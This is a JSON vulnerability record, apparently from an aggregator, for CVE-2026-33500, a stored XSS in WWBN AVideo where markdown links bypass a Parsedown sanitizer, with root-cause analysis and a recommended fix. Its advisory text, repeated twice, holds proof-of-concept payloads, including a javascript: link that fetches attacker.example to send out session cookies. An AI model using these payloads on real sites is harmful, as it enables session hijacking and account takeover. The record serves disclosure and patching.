{"id":"CVE-2026-33500","aliases":["EUVD-2026-20065","GHSA-72h5-39r7-r26j"],"status":"published","title":"AVideo Vulnerable to Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch.","severity":{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00231,"percentile":0.14086,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-79"],"published":"2026-03-20T20:56:52Z","modified":"2026-10-28T02:30:40Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"26.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-72h5-39r7-r26j","tags":["x_refsource_CONFIRM","Exploit","Mitigation","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/3ae02fa240939dbefc5949d64f05790fd25d728d","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-33500","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-72h5-39r7-r26j"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/33xxx/CVE-2026-33500.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-33500","title":"AVideo Vulnerable to Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch.","status":"published","published":"2026-03-23T16:24:52.892Z","modified":"2026-03-24T17:39:33.796Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:20:08.009733Z"}],"euvd":[{"id":"EUVD-2026-20065","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch.","status":"published","published":"2026-03-23T16:24:52Z","modified":"2026-03-24T17:39:33Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T19:25:29.933437Z"}],"ghsa":[{"id":"GHSA-72h5-39r7-r26j","title":"AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization","description":"## Summary\n\nThe fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.\n\n## Details\n\nThe original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:\n\n**`objects/functionsSecurity.php:442-446` — safeMode disabled:**\n```php\nfunction markDownToHTML($text) {\n    $parsedown = new ParsedownSafeWithLinks();\n    $parsedown-\u003esetSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering\n    $parsedown-\u003esetMarkupEscaped(false);\n    $html = $parsedown-\u003etext($text);\n```\n\n**`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `\u003ca\u003e` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:\n\n```php\n// sanitizeATag() at line 360 — only allows http(s), mailto, /, #\nif (preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $url)) {\n    $href = ' href=\"' . htmlspecialchars($url, ENT_QUOTES) . '\"';\n}\n```\n\nHowever, this sanitization only runs for **raw HTML** `\u003ca\u003e` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown's core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.\n\n**`vendor/erusev/parsedown/Parsedown.php:1470-1475` — sanitiseElement only runs when safeMode is true:**\n```php\nprotected function element(array $Element)\n{\n    if ($this-\u003esafeMode)        // false — so sanitiseElement() is never called\n    {\n        $Element = $this-\u003esanitiseElement($Element);\n    }\n```\n\n`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.\n\n**Data flow:**\n1. User posts comment containing `[Click here](javascript:alert(document.cookie))`\n2. `xss_esc()` applies `htmlspecialchars()` — no HTML special chars exist in the payload, stored unchanged\n3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick here\u003c/a\u003e`\n4. Result stored in `commentWithLinks` (`objects/comment.php:420`)\n5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `\u003cp\u003e{commentWithLinks}\u003c/p\u003e`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim's browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n    // ... existing code ...\n\n    protected function inlineLink($Excerpt)\n    {\n        $Link = parent::inlineLink($Excerpt);\n\n        if ($Link === null) {\n            return null;\n        }\n\n        $href = $Link['element']['attributes']['href'] ?? '';\n\n        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n        if ($href !== '' \u0026\u0026 !preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $href)) {\n            $Link['element']['attributes']['href'] = '';\n        }\n\n        return $Link;\n    }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `\u003ca\u003e` and `\u003cimg\u003e` tags (e.g., post-processing the safe output to re-inject whitelisted tags).","status":"published","published":"2026-03-20T20:56:52Z","modified":"2026-03-25T20:31:34Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:39:42.712607Z"}],"nvd":[{"id":"CVE-2026-33500","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch.","status":"published","published":"2026-03-23T17:16:51.34Z","modified":"2026-06-17T10:37:36.503Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T14:12:10.568062Z"}],"osv":[{"id":"CVE-2026-33500","title":"AVideo Vulnerable to Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization","description":"WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch.","status":"published","published":"2026-03-23T16:24:52.892Z","modified":"2026-10-28T02:30:40.570486704Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:45:01.896044Z"},{"id":"GHSA-72h5-39r7-r26j","title":"AVideo - Incomplete Fix for CVE-2026-27568: Stored XSS via Markdown `javascript:` URI Bypasses ParsedownSafeWithLinks Sanitization","description":"## Summary\n\nThe fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `\u003ca\u003e` and `\u003cimg\u003e` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links.\n\n## Details\n\nThe original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off:\n\n**`objects/functionsSecurity.php:442-446` — safeMode disabled:**\n```php\nfunction markDownToHTML($text) {\n    $parsedown = new ParsedownSafeWithLinks();\n    $parsedown-\u003esetSafeMode(false);   // line 445 — disables Parsedown's built-in javascript: filtering\n    $parsedown-\u003esetMarkupEscaped(false);\n    $html = $parsedown-\u003etext($text);\n```\n\n**`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `\u003ca\u003e` tags via `sanitizeATag()`, which whitelist-checks the URL scheme:\n\n```php\n// sanitizeATag() at line 360 — only allows http(s), mailto, /, #\nif (preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $url)) {\n    $href = ' href=\"' . htmlspecialchars($url, ENT_QUOTES) . '\"';\n}\n```\n\nHowever, this sanitization only runs for **raw HTML** `\u003ca\u003e` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown's core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`.\n\n**`vendor/erusev/parsedown/Parsedown.php:1470-1475` — sanitiseElement only runs when safeMode is true:**\n```php\nprotected function element(array $Element)\n{\n    if ($this-\u003esafeMode)        // false — so sanitiseElement() is never called\n    {\n        $Element = $this-\u003esanitiseElement($Element);\n    }\n```\n\n`sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked.\n\n**Data flow:**\n1. User posts comment containing `[Click here](javascript:alert(document.cookie))`\n2. `xss_esc()` applies `htmlspecialchars()` — no HTML special chars exist in the payload, stored unchanged\n3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `\u003ca href=\"javascript:alert(document.cookie)\"\u003eClick here\u003c/a\u003e`\n4. Result stored in `commentWithLinks` (`objects/comment.php:420`)\n5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `\u003cp\u003e{commentWithLinks}\u003c/p\u003e`\n\n## PoC\n\n1. Log in as any user with comment permission\n2. Navigate to any video page\n3. Post a comment with the following markdown:\n\n```\n[Click here for more info](javascript:alert(document.cookie))\n```\n\n4. The comment is saved and rendered. Any user viewing the video sees \"Click here for more info\" as a clickable link\n5. Clicking the link executes `alert(document.cookie)` in the victim's browser context\n\nFor session hijacking:\n```\n[See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie))\n```\n\n## Impact\n\n- **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover\n- **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context\n- **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link\n- **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS\n\n## Recommended Fix\n\nOverride `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links:\n\n```php\nclass ParsedownSafeWithLinks extends Parsedown\n{\n    // ... existing code ...\n\n    protected function inlineLink($Excerpt)\n    {\n        $Link = parent::inlineLink($Excerpt);\n\n        if ($Link === null) {\n            return null;\n        }\n\n        $href = $Link['element']['attributes']['href'] ?? '';\n\n        // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors\n        if ($href !== '' \u0026\u0026 !preg_match('/^(https?:\\/\\/|mailto:|\\/|#)/i', $href)) {\n            $Link['element']['attributes']['href'] = '';\n        }\n\n        return $Link;\n    }\n}\n```\n\nAlternatively, re-enable `safeMode(true)` and find a different approach to allow `\u003ca\u003e` and `\u003cimg\u003e` tags (e.g., post-processing the safe output to re-inject whitelisted tags).","status":"published","published":"2026-03-20T20:56:52Z","modified":"2026-07-08T08:29:22.541192273Z","cvss":[{"version":"3.1","score":5.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-11-02T15:46:40.308826Z"}]}}
